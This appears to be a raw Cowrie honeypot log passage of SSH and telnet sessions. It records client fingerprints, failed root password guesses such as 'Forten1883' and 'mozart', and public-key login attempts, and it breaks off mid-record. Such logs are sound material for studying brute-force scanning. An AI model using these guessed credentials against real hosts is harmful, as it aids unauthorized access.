{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:29.725019Z","src_ip":"94.159.98.239","session":"b086b5fc9eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:30.454533Z","src_ip":"94.159.98.239","session":"b086b5fc9eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:31.578291Z","src_ip":"94.159.98.239","session":"b086b5fc9eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e9c30d71a1e","protocol":"telnet","message":"New connection: 50.6.8.71:53640 (10.17.0.5:23) [session: 9e9c30d71a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:34.258882Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59678,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32f571b087d","protocol":"telnet","message":"New connection: 50.6.8.71:59678 (10.17.0.5:23) [session: a32f571b087d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:40.467275Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":60358,"dst_ip":"159.203.135.109","dst_port":22,"session":"079f6ea057f2","protocol":"ssh","message":"New connection: 200.77.172.159:60358 (159.203.135.109:22) [session: 079f6ea057f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:45.202709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:45.206830Z","src_ip":"200.77.172.159","session":"079f6ea057f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:45.277701Z","src_ip":"200.77.172.159","session":"079f6ea057f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mozart","message":"login attempt [root/mozart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:45.595742Z","src_ip":"200.77.172.159","session":"079f6ea057f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:46.669927Z","src_ip":"200.77.172.159","session":"079f6ea057f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":49210,"dst_ip":"10.17.0.5","dst_port":22,"session":"567ab4cbc984","protocol":"ssh","message":"New connection: 103.82.132.16:49210 (10.17.0.5:22) [session: 567ab4cbc984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:51.660885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:51.665650Z","src_ip":"103.82.132.16","session":"567ab4cbc984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:51.928097Z","src_ip":"103.82.132.16","session":"567ab4cbc984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:52.692362Z","src_ip":"103.82.132.16","session":"567ab4cbc984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:53.950769Z","src_ip":"103.82.132.16","session":"567ab4cbc984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.84403729438782,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:54.418013Z","src_ip":"50.6.8.71","session":"1a32cb0aaf5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e038290d5018","protocol":"telnet","message":"New connection: 50.6.8.71:35286 (10.17.0.5:23) [session: e038290d5018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:57.810359Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"557a75a48669","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 557a75a48669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:03.969598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:03.974903Z","src_ip":"4.210.91.174","session":"557a75a48669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:04.050152Z","src_ip":"4.210.91.174","session":"557a75a48669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aoeduo","message":"login attempt [root/aoeduo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:04.365625Z","src_ip":"4.210.91.174","session":"557a75a48669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:05.442085Z","src_ip":"4.210.91.174","session":"557a75a48669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35304,"dst_ip":"10.17.0.5","dst_port":23,"session":"67c3070521dd","protocol":"telnet","message":"New connection: 50.6.8.71:35304 (10.17.0.5:23) [session: 67c3070521dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:05.548465Z"}
{"eventid":"cowrie.session.closed","duration":41.9646954536438,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:08.266613Z","src_ip":"50.6.8.71","session":"7b7a63205281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.58298468589783,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:12.841780Z","src_ip":"50.6.8.71","session":"9e9c30d71a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47709631919861,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:15.944264Z","src_ip":"50.6.8.71","session":"a32f571b087d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37764,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f1f40c399a","protocol":"telnet","message":"New connection: 50.6.8.71:37764 (10.17.0.5:23) [session: 74f1f40c399a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:18.801786Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":47110,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac2553123a0d","protocol":"ssh","message":"New connection: 104.236.66.186:47110 (10.17.0.5:22) [session: ac2553123a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.829858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.834642Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.841675Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:be:be:a8:00:21:ba:39:74:17:29:a6:ee:db:37:d9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYn9lcEgI+neKso6IvsqEtoA6jKqqX36cPDNM4xB7sl","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:be:be:a8:00:21:ba:39:74:17:29:a6:ee:db:37:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.858093Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:be:be:a8:00:21:ba:39:74:17:29:a6:ee:db:37:d9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYn9lcEgI+neKso6IvsqEtoA6jKqqX36cPDNM4xB7sl","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.861924Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:20:a1:a2:ab:e8:08:cb:75:83:44:2c:42:7b:bc:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3ddboZYl9+WFYL/H9vI1NHgCg5PV+fKrNLtvK8+cuKEwZ6uPGqW/v93tPaEroyZE8vsiMmD9M6e2QZKZ95ko+4TxBCwy0ZViNlV1u3CQYfPw1y9wYRve6YJFyhf8mbqLF1NtVqmuUwWTzXC4OSEhuGfwx4jGedMoFp0LKCcs3Polw8GicIgXTIbkVa8DFpgynYR36z/Qyehkr70PNDRRbvOc/zVwECMq0VJLiCSR3arrVSfp65LclE6Iky9QfoJRlHWbBe4MXE//Ke+258KrjI2JZVdxubstorTZ1e1aNNuKEEWkO4zICaxmGzanbgz9Eab/93pk62AZQ3VApMRvcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:20:a1:a2:ab:e8:08:cb:75:83:44:2c:42:7b:bc:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.868946Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:20:a1:a2:ab:e8:08:cb:75:83:44:2c:42:7b:bc:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3ddboZYl9+WFYL/H9vI1NHgCg5PV+fKrNLtvK8+cuKEwZ6uPGqW/v93tPaEroyZE8vsiMmD9M6e2QZKZ95ko+4TxBCwy0ZViNlV1u3CQYfPw1y9wYRve6YJFyhf8mbqLF1NtVqmuUwWTzXC4OSEhuGfwx4jGedMoFp0LKCcs3Polw8GicIgXTIbkVa8DFpgynYR36z/Qyehkr70PNDRRbvOc/zVwECMq0VJLiCSR3arrVSfp65LclE6Iky9QfoJRlHWbBe4MXE//Ke+258KrjI2JZVdxubstorTZ1e1aNNuKEEWkO4zICaxmGzanbgz9Eab/93pk62AZQ3VApMRvcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.872716Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:07:1d:bb:e0:4e:cf:8f:da:b1:1a:18:e5:cc:ce:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMczBXLMc/2asdIgvZDD2jN67nedIu6AB5ZsjbaBeMdI5KGH2jxr4jXXLkNcREnD3ObHm4qbHNqeIqsKf+yITAt+dc3X3PA6P66DUFJjB+osfAAYlEThPsNP84gOcP9NC72fv4Q93JRdujLfekISfJ6PADA1ZRFNSMRH+aOe7u3nV98FiG4NrxxB8n8TZVNczvDxXfTcCncNJ9HW3rqk54E+hoRYQ+1EvgPUCuHfuWHmvnfqKjIkuvFOorfIKxS7WHxBFw5R5isiaUUHzAAJiMTmPSyEKfDpw891PpbQNxZfYMXNIHJYSAcyxbqbL11429eLA4IH+zYFXjrceCY8TX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:07:1d:bb:e0:4e:cf:8f:da:b1:1a:18:e5:cc:ce:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.879886Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:07:1d:bb:e0:4e:cf:8f:da:b1:1a:18:e5:cc:ce:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMczBXLMc/2asdIgvZDD2jN67nedIu6AB5ZsjbaBeMdI5KGH2jxr4jXXLkNcREnD3ObHm4qbHNqeIqsKf+yITAt+dc3X3PA6P66DUFJjB+osfAAYlEThPsNP84gOcP9NC72fv4Q93JRdujLfekISfJ6PADA1ZRFNSMRH+aOe7u3nV98FiG4NrxxB8n8TZVNczvDxXfTcCncNJ9HW3rqk54E+hoRYQ+1EvgPUCuHfuWHmvnfqKjIkuvFOorfIKxS7WHxBFw5R5isiaUUHzAAJiMTmPSyEKfDpw891PpbQNxZfYMXNIHJYSAcyxbqbL11429eLA4IH+zYFXjrceCY8TX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.884445Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:35:57:39:2a:aa:d3:8c:81:df:bd:19:27:f9:53:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyDRbFvyrypz23pe0NT4jTcVo/coyoS9Bzrt+KtWwSuzdrFDZPL6ZJFMaUEJNr8JMnWUbr2MI4DB0TUJNMCRJDuYp8WMSE4obKi1N/aYDHHZzcNXPIEQtxQ+uziyT3yUiJFaxvwUJYmcM4Od5LqrOJyAsfOqxPzR2G/r9SxqDHcOlB6AALWkzDJ32x1b1ZS83hhAXD7IcdBng1iLUQZ6dWtQZ+KqAYXHvld+R5n3apJiCEGBccack22quz/dI/Ta0t7sTCtdKs4v337INN9SLOVaYjhc7ePhg1XMrNbHq1GZVwTTjjL4UIMcNYNxNywCePrpTsPfJBvMVJc3FQZSpb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:35:57:39:2a:aa:d3:8c:81:df:bd:19:27:f9:53:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.890918Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:35:57:39:2a:aa:d3:8c:81:df:bd:19:27:f9:53:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyDRbFvyrypz23pe0NT4jTcVo/coyoS9Bzrt+KtWwSuzdrFDZPL6ZJFMaUEJNr8JMnWUbr2MI4DB0TUJNMCRJDuYp8WMSE4obKi1N/aYDHHZzcNXPIEQtxQ+uziyT3yUiJFaxvwUJYmcM4Od5LqrOJyAsfOqxPzR2G/r9SxqDHcOlB6AALWkzDJ32x1b1ZS83hhAXD7IcdBng1iLUQZ6dWtQZ+KqAYXHvld+R5n3apJiCEGBccack22quz/dI/Ta0t7sTCtdKs4v337INN9SLOVaYjhc7ePhg1XMrNbHq1GZVwTTjjL4UIMcNYNxNywCePrpTsPfJBvMVJc3FQZSpb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.895138Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:ba:b3:6f:02:59:a7:94:a3:f9:6b:27:20:b7:ef:37","key":"ssh-rsa 